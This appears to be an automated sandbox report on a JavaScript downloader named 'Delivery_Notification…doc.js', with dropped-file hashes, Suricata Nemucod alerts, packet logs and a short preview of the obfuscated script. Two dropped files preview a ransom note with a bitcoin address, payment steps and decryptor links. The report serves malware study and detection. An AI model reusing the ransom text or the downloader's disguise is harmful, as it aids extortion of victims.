SHA-512:	7B88CA8A7D8096412D3F272F8844D5E6E46F06988DD02F9262966DEC119037DF3B23E55A2E6BB4D572C1E989715050B5438B64865700C05E5333DE5EB1966F14
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=21">here</a>.</p>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\1DZ0H94T.htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
Category:	dropped
Size (bytes):	18010
Entropy (8bit):	5.259656876356195
Encrypted:	false
SSDEEP:	384:pUvJgSUcgUtbX2U4fOxC69CVv1azNzCH03:pUvJZztbFj9CVvYzNuU3
MD5:	F59EC1FAF8B01058E61D8B728C498D4C
SHA1:	41B166833F6810789D288BDB143F6FA061A9763A
SHA-256:	4DD55B4D774FBA7832B38208FF20024E80E0821567FEDB2D1DF65A07C34FC4AE
SHA-512:	624D080576D6E24713F16C5F29DE8024C65D6F3ACFB061D12D4A73D469B7B48D3A73D0636316C0AC849408CE30B7C9DB57D1EF0218B14092819DB4398C26C213
Malicious:	false
Preview:	..<!DOCTYPE html>..<html lang="ru-RU" prefix="og: https://ogp.me/ns#" itemscope itemtype="http://schema.org/WebPage">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="description" content="..... ...... .. ........ .....hg Casino Trix .. ...... ..... ...... .. ...... ...... .. .......! .. ............... . ...... ..... .. ....!">.. <meta property="og:title" content="..... ...... (Casino Trix) - ....... ..... . .......... .......">.. <meta property="og:description" content="..... ...... . ........... ..... ...... . ....... ....... ..... ...... .. ............... . .... .. ...... . ........ .... .....! .. ...... ...... .. .......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\CKUCPLE0.htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
Category:	dropped
Size (bytes):	18010
Entropy (8bit):	5.259656876356195
Encrypted:	false
SSDEEP:	384:pUvJgSUcgUtbX2U4fOxC69CVv1azNzCH03:pUvJZztbFj9CVvYzNuU3
MD5:	F59EC1FAF8B01058E61D8B728C498D4C
SHA1:	41B166833F6810789D288BDB143F6FA061A9763A
SHA-256:	4DD55B4D774FBA7832B38208FF20024E80E0821567FEDB2D1DF65A07C34FC4AE
SHA-512:	624D080576D6E24713F16C5F29DE8024C65D6F3ACFB061D12D4A73D469B7B48D3A73D0636316C0AC849408CE30B7C9DB57D1EF0218B14092819DB4398C26C213
Malicious:	false
Preview:	..<!DOCTYPE html>..<html lang="ru-RU" prefix="og: https://ogp.me/ns#" itemscope itemtype="http://schema.org/WebPage">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="description" content="..... ...... .. ........ .....hg Casino Trix .. ...... ..... ...... .. ...... ...... .. .......! .. ............... . ...... ..... .. ....!">.. <meta property="og:title" content="..... ...... (Casino Trix) - ....... ..... . .......... .......">.. <meta property="og:description" content="..... ...... . ........... ..... ...... . ....... ....... ..... ...... .. ............... . .... .. ...... . ........ .... .....! .. ...... ...... .. .......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\IBM86D31.htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
Category:	dropped
Size (bytes):	18010
Entropy (8bit):	5.259656876356195
Encrypted:	false
SSDEEP:	384:pUvJgSUcgUtbX2U4fOxC69CVv1azNzCH03:pUvJZztbFj9CVvYzNuU3
MD5:	F59EC1FAF8B01058E61D8B728C498D4C
SHA1:	41B166833F6810789D288BDB143F6FA061A9763A
SHA-256:	4DD55B4D774FBA7832B38208FF20024E80E0821567FEDB2D1DF65A07C34FC4AE
SHA-512:	624D080576D6E24713F16C5F29DE8024C65D6F3ACFB061D12D4A73D469B7B48D3A73D0636316C0AC849408CE30B7C9DB57D1EF0218B14092819DB4398C26C213
Malicious:	false
Preview:	..<!DOCTYPE html>..<html lang="ru-RU" prefix="og: https://ogp.me/ns#" itemscope itemtype="http://schema.org/WebPage">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="description" content="..... ...... .. ........ .....hg Casino Trix .. ...... ..... ...... .. ...... ...... .. .......! .. ............... . ...... ..... .. ....!">.. <meta property="og:title" content="..... ...... (Casino Trix) - ....... ..... . .......... .......">.. <meta property="og:description" content="..... ...... . ........... ..... ...... . ....... ....... ..... ...... .. ............... . .... .. ...... . ........ .... .....! .. ...... ...... .. .......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\counter[1].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	454
Entropy (8bit):	5.702778086872515
Encrypted:	false
SSDEEP:	6:pn0+Dy9xw4A6hEr6VX16hu9nPiMXvPmPPXLlVTfVeruW00OWM+ORKR+kn/H4wjcR:J0+ox1RJWWP5XvaXxPeG0O0N0q/Y4ma+
MD5:	C63EADB0890FCBE731CBC82D6796D739
SHA1:	2E4CF3909767D7558EC13D0CFE7B94C1808C3346
SHA-256:	E4320F5F7188B82D712CB92EE913AC55DDF085B706B8F44B83350A4A64DB1F22
SHA-512:	4B9F36C6FF8FA98BFB5C5B6153FE6CC75B71B485D33C36AECC4F648FA9AEF147122F5DF92B5582D519753EED7C283F3689A6A7BD1F650F4F2BE7A15443DBFCA0
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301e>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41">here</a>.</p>.<hr>.<address>Apache/2.4.41 (Ubuntu) Server at radostdetym.ru Port 80</address>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\counter[2].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	454
Entropy (8bit):	5.692622233821154
Encrypted:	false
SSDEEP:	6:pn0+Dy9rzgol6hEr6VX16hu9nPiMXvPmPPXLlVTfVeruW00OWM8QKR+kn/H4wjcR:J0+o8RJWWP5XvaXxPeG0Os0q/Y4ma+
MD5:	1642ECE08D15CD51D09EC65B8A3343F2
SHA1:	1A22AF196C15148470ABC96EC3D4816271B847A6
SHA-256:	81BB8C47B7BBFF21E010FC531DDF3593B3AAC2190D5A5B9A373F95BB30426B6D
SHA-512:	764F3CE73FBF6954E48B4D901670134D31C43C2502FA5FB119A581CE94B874CA5B23C7E99FE49137590464F678B53510532F359B4261EE2A3F5DE50266335858
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><hea><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43">here</a>.</p>.<hr>.<address>Apache/2.4.41 (Ubuntu) Server at radostdetym.ru Port 80</address>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\counter[3].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	454
Entropy (8bit):	5.697433848163184
Encrypted:	false
SSDEEP:	6:pn0+Dygwol6hEr6VX16hu9nPiMXvPmPPXLlVTfVeruW00OWM6NiKR+kn/H4wjcXB:J0+j0RJWWP5XvaXxPeG0OwN0q/Y4ma+
MD5:	DEA68947D9BB4F6C56454D85FE2D51C8
SHA1:	99F66F722F9ADF81D5F667EF0693E5DF8A9FBCD2
SHA-256:	A6F231F306769F1E91B75F78D15D9B457DB525466C957869F0357B0B538F2B6D
SHA-512:	F7219D7A1D33C427193AA04881FB12FFADB03C41CE86761A4793FBBF6902D693FE0A7E504D94031CB9F6AAADDAFFAF1969340911DB8351FEB679AA8D9EF26731
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45">here</a>.</p>.<hr>.<address>Apache/2.4.41 (Ubuntu) Server at radostdetym.ru Port 80</address>.</body></html>.

C:\Users\user\AppData\Local\Temp\a.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
Category:	dropped
Size (bytes):	18010
Entropy (8bit):	5.259656876356195
Encrypted:	false
SSDEEP:	384:pUvJgSUcgUtbX2U4fOxC69CVv1azNzCH03:pUvJZztbFj9CVvYzNuU3
MD5:	F59EC1FAF8B01058E61D8B728C498D4C
SHA1:	41B166833F6810789D288BDB143F6FA061A9763A
SHA-256:	4DD55B4D774FBA7832B38208FF20024E80E0821567FEDB2D1DF65A07C34FC4AE
SHA-512:	624D080576D6E24713F16C5F29DE8024C65D6F3ACFB061D12D4A73D469B7B48D3A73D0636316C0AC849408CE30B7C9DB57D1EF0218B14092819DB4398C26C213
Malicious:	false
Preview:	..<!DOCTYPE html>..<html lang="ru-RU" prefix="og: https://ogp.me/ns#" itemscope itemtype="http://schema.org/WebPage">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="description" content="..... ...... .. ........ .....hg Casino Trix .. ...... ..... ...... .. ...... ...... .. .......! .. ............... . ...... ..... .. ....!">.. <meta property="og:title" content="..... ...... (Casino Trix) - ....... ..... . .......... .......">.. <meta property="og:description" content="..... ...... . ........... ..... ...... . ....... ....... ..... ...... .. ............... . .... .. ...... . ........ .... .....! .. ...... ...... .. .......

C:\Users\user\AppData\Local\Temp\a.php

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36000
Entropy (8bit):	4.669925001442311
Encrypted:	false
SSDEEP:	48:KkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkK:n
MD5:	BC3AE13ABEC7937F50B3F3EEA1E2FA04
SHA1:	F271D2CE7B997473BC2B00D624282D44A3BDBC13
SHA-256:	D5A436A5AB186A66E4B4B28482A54EB9DD8D32E62F9CE7450E3FA52520CA8282
SHA-512:	0D23651C455EC581BD42667FD360F98467732AC41D5C623C1357BDAF2D1F856E7100605388F188F4851C3ACFBAD65ABEFD0144655D2606F117CB76B3EBB53544
Malicious:	false
Preview:	1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN..1JXSXybzEjjRJQDbVngTy7d8kEFA

C:\Users\user\AppData\Local\Temp\a.txt

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1368
Entropy (8bit):	5.297173531497176
Encrypted:	false
SSDEEP:	24:FX8ygdgMvV29cJAwPZ4AwWoDnWXPVcXY0tqDciDuTummgMw/AWrZGdfy:T0jvc3wR4AwWtP/+M4+y
MD5:	8AAD373D6F4E7A096F53032A69D7F401
SHA1:	42E62DC1CB4DDA1D618F2C7384FDC8946B62A135
SHA-256:	F14CABEBE355A7121AC295299D1B4E79183AC2370AA6A983E1CD65016607C94F
SHA-512:	79989AD8D1A9ECA59BBD2B79BAB753A6FA6173ACCA92F100EC491FD9372D94B28F9D789FC116968923203782A22BE081EF87D1F5639B5828DC1D4B31B5BCAA37
Malicious:	true
Preview:	ATTENTION!....All your documents, photos, databases and other important personal files..were encrypted using strong RSA-1024 algorithm with a unique key...To restore your files you have to pay 0.44780 BTC (bitcoins)...Please follow this manual:....1. Create Bitcoin wallet here:.... https://blockchain.info/wallet/new....2. Buy 0.44780 BTC with cash, using search here:.... https://localbitcoins.com/buy_bitcoins....3. Send 0.44780 BTC to this Bitcoin address:.... 1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN....4. Open one of the following links in your browser to download decryptor:.... http://xn--80adi0bdhdbmg.xn--p1ai/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.. http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.. http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.. http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.. http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN....5. Ru

C:\Users\user\AppData\Local\Temp\a1.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
Category:	dropped
Size (bytes):	18010
Entropy (8bit):	5.259656876356195
Encrypted:	false
SSDEEP:	384:pUvJgSUcgUtbX2U4fOxC69CVv1azNzCH03:pUvJZztbFj9CVvYzNuU3
MD5:	F59EC1FAF8B01058E61D8B728C498D4C
SHA1:	41B166833F6810789D288BDB143F6FA061A9763A
SHA-256:	4DD55B4D774FBA7832B38208FF20024E80E0821567FEDB2D1DF65A07C34FC4AE
SHA-512:	624D080576D6E24713F16C5F29DE8024C65D6F3ACFB061D12D4A73D469B7B48D3A73D0636316C0AC849408CE30B7C9DB57D1EF0218B14092819DB4398C26C213
Malicious:	false
Preview:	..<!DOCTYPE html>..<html lang="ru-RU" prefix="og: https://ogp.me/ns#" itemscope itemtype="http://schema.org/WebPage">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="description" content="..... ...... .. ........ .....hg Casino Trix .. ...... ..... ...... .. ...... ...... .. .......! .. ............... . ...... ..... .. ....!">.. <meta property="og:title" content="..... ...... (Casino Trix) - ....... ..... . .......... .......">.. <meta property="og:description" content="..... ...... . ........... ..... ...... . ....... ....... ..... ...... .. ............... . .... .. ...... . ........ .... .....! .. ...... ...... .. .......

C:\Users\user\AppData\Local\Temp\a2.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
Category:	dropped
Size (bytes):	18010
Entropy (8bit):	5.259656876356195
Encrypted:	false
SSDEEP:	384:pUvJgSUcgUtbX2U4fOxC69CVv1azNzCH03:pUvJZztbFj9CVvYzNuU3
MD5:	F59EC1FAF8B01058E61D8B728C498D4C
SHA1:	41B166833F6810789D288BDB143F6FA061A9763A
SHA-256:	4DD55B4D774FBA7832B38208FF20024E80E0821567FEDB2D1DF65A07C34FC4AE
SHA-512:	624D080576D6E24713F16C5F29DE8024C65D6F3ACFB061D12D4A73D469B7B48D3A73D0636316C0AC849408CE30B7C9DB57D1EF0218B14092819DB4398C26C213
Malicious:	false
Preview:	..<!DOCTYPE html>..<html lang="ru-RU" prefix="og: https://ogp.me/ns#" itemscope itemtype="http://schema.org/WebPage">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="description" content="..... ...... .. ........ .....hg Casino Trix .. ...... ..... ...... .. ...... ...... .. .......! .. ............... . ...... ..... .. ....!">.. <meta property="og:title" content="..... ...... (Casino Trix) - ....... ..... . .......... .......">.. <meta property="og:description" content="..... ...... . ........... ..... ...... . ....... ....... ..... ...... .. ............... . .... .. ...... . ........ .... .....! .. ...... ...... .. .......

C:\Users\user\AppData\Local\Temp\php4ts.dll

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
Category:	dropped
Size (bytes):	18010
Entropy (8bit):	5.259656876356195
Encrypted:	false
SSDEEP:	384:pUvJgSUcgUtbX2U4fOxC69CVv1azNzCH03:pUvJZztbFj9CVvYzNuU3
MD5:	F59EC1FAF8B01058E61D8B728C498D4C
SHA1:	41B166833F6810789D288BDB143F6FA061A9763A
SHA-256:	4DD55B4D774FBA7832B38208FF20024E80E0821567FEDB2D1DF65A07C34FC4AE
SHA-512:	624D080576D6E24713F16C5F29DE8024C65D6F3ACFB061D12D4A73D469B7B48D3A73D0636316C0AC849408CE30B7C9DB57D1EF0218B14092819DB4398C26C213
Malicious:	false
Preview:	..<!DOCTYPE html>..<html lang="ru-RU" prefix="og: https://ogp.me/ns#" itemscope itemtype="http://schema.org/WebPage">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="description" content="..... ...... .. ........ .....hg Casino Trix .. ...... ..... ...... .. ...... ...... .. .......! .. ............... . ...... ..... .. ....!">.. <meta property="og:title" content="..... ...... (Casino Trix) - ....... ..... . .......... .......">.. <meta property="og:description" content="..... ...... . ........... ..... ...... . ....... ....... ..... ...... .. ............... . .... .. ...... . ........ .... .....! .. ...... ...... .. .......

C:\Users\user\Desktop\DECRYPT.txt

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1368
Entropy (8bit):	5.297173531497176
Encrypted:	false
SSDEEP:	24:FX8ygdgMvV29cJAwPZ4AwWoDnWXPVcXY0tqDciDuTummgMw/AWrZGdfy:T0jvc3wR4AwWtP/+M4+y
MD5:	8AAD373D6F4E7A096F53032A69D7F401
SHA1:	42E62DC1CB4DDA1D618F2C7384FDC8946B62A135
SHA-256:	F14CABEBE355A7121AC295299D1B4E79183AC2370AA6A983E1CD65016607C94F
SHA-512:	79989AD8D1A9ECA59BBD2B79BAB753A6FA6173ACCA92F100EC491FD9372D94B28F9D789FC116968923203782A22BE081EF87D1F5639B5828DC1D4B31B5BCAA37
Malicious:	true
Preview:	ATTENTION!....All your documents, photos, databases and other important personal files..were encrypted using strong RSA-1024 algorithm with a unique key...To restore your files you have to pay 0.44780 BTC (bitcoins)...Please follow this manual:....1. Create Bitcoin wallet here:.... https://blockchain.info/wallet/new....2. Buy 0.44780 BTC with cash, using search here:.... https://localbitcoins.com/buy_bitcoins....3. Send 0.44780 BTC to this Bitcoin address:.... 1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN....4. Open one of the following links in your browser to download decryptor:.... http://xn--80adi0bdhdbmg.xn--p1ai/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.. http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.. http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.. http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.. http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN....5. Ru

Static File Info

General

File type:	ASCII text, with very long lines (15975), with no line terminators
Entropy (8bit):	4.774099229376375
TrID:
File name:	Delivery_Notification_00000260791.doc.js
File size:	15'975 bytes
MD5:	d6f08791f0df06ddfe6e846d536a887f
SHA1:	cde039518a07cb2ea65c4f2e984d19702cf84555
SHA256:	a2686bc365897b29d0246666c89d2e9cc6002d8a604631c21cd8ffbc160d71e5
SHA512:	66820099e493ebf7974d38cb7d78b1018cf7706ee12c278c1b86bec8bf6321b937cbfc91f35a5a82c5fb85564ce018e74ba00de4f6bb6eb9b2da71e0e0ecfc57
SSDEEP:	384:XM49Wq5HlWaDIFieYws+9VgPxo+Kd9Mvv2iN05N5fXmfAvT3Q9FwhagFx2Vv6dUZ:XD9WsH0a8Finws+9VgPxo+Kd9MvvjN0u
TLSH:	73725644E34F4D915DA26DFA04F2BF0B7AE414FFA265429C7F8E2F1E36811078469827
File Content Preview:	function u18(a95,f24) {x26[a95] = f24;}; var x26 = new Array();u18(10, 'var cq');u18(341, 'ant pe');u18(100, 'r ');u18(400, '"")');u18(479, 'BT');u18(84, 'pd=w');u18(613, 'help');u18(327, 'eLin');u18(552, 'ine("');u18(930, '}; };');u18(54, ']; va');u18(51

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T08:15:12.006657+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.7	49699	65.109.23.226	80	TCP
2024-11-20T08:15:12.006657+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.7	49699	65.109.23.226	80	TCP
2024-11-20T08:15:13.698561+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.7	49701	187.1.136.13	80	TCP
2024-11-20T08:15:13.698561+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.7	49701	187.1.136.13	80	TCP
2024-11-20T08:15:15.226787+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.7	49702	188.114.97.3	80	TCP
2024-11-20T08:15:15.226787+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.7	49702	188.114.97.3	80	TCP
2024-11-20T08:15:20.374246+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.7	49702	188.114.97.3	80	TCP
2024-11-20T08:15:25.184064+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.7	49702	188.114.97.3	80	TCP
2024-11-20T08:15:26.952342+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.7	49702	188.114.97.3	80	TCP
2024-11-20T08:15:28.595088+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.7	49702	188.114.97.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:15:11.339807034 CET	49699	80	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:11.344815969 CET	80	49699	65.109.23.226	192.168.2.7
Nov 20, 2024 08:15:11.344926119 CET	49699	80	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:11.345107079 CET	49699	80	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:11.349956989 CET	80	49699	65.109.23.226	192.168.2.7
Nov 20, 2024 08:15:12.006509066 CET	80	49699	65.109.23.226	192.168.2.7
Nov 20, 2024 08:15:12.006656885 CET	49699	80	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:12.015264034 CET	49700	443	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:12.015307903 CET	443	49700	65.109.23.226	192.168.2.7
Nov 20, 2024 08:15:12.015419006 CET	49700	443	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:12.036087990 CET	49700	443	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:12.036164999 CET	443	49700	65.109.23.226	192.168.2.7
Nov 20, 2024 08:15:12.036418915 CET	49700	443	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:12.527019978 CET	49701	80	192.168.2.7	187.1.136.13
Nov 20, 2024 08:15:12.531999111 CET	80	49701	187.1.136.13	192.168.2.7
Nov 20, 2024 08:15:12.532063961 CET	49701	80	192.168.2.7	187.1.136.13
Nov 20, 2024 08:15:12.532365084 CET	49701	80	192.168.2.7	187.1.136.13
Nov 20, 2024 08:15:12.537444115 CET	80	49701	187.1.136.13	192.168.2.7
Nov 20, 2024 08:15:13.698493958 CET	80	49701	187.1.136.13	192.168.2.7
Nov 20, 2024 08:15:13.698560953 CET	49701	80	192.168.2.7	187.1.136.13
Nov 20, 2024 08:15:13.908406019 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:13.913330078 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:13.913430929 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:13.913611889 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:13.918447971 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:15.226670027 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:15.226689100 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:15.226787090 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:15.295003891 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:15.300347090 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:16.147794962 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:16.147861004 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:16.147897959 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:16.147912025 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:16.147933960 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:16.147950888 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:16.147970915 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:16.147975922 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:16.147977114 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:16.148005962 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:16.148016930 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:16.148061991 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:16.148094893 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:16.148123980 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:17.011974096 CET	80	49699	65.109.23.226	192.168.2.7
Nov 20, 2024 08:15:17.012089014 CET	49699	80	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:18.703353882 CET	80	49701	187.1.136.13	192.168.2.7
Nov 20, 2024 08:15:18.703425884 CET	49701	80	192.168.2.7	187.1.136.13
Nov 20, 2024 08:15:19.653752089 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:19.658668041 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:20.374152899 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:20.374245882 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:20.374341965 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:20.374428988 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:20.385552883 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:20.390615940 CET	80	49702	188.114.97.3	192.168.2.7
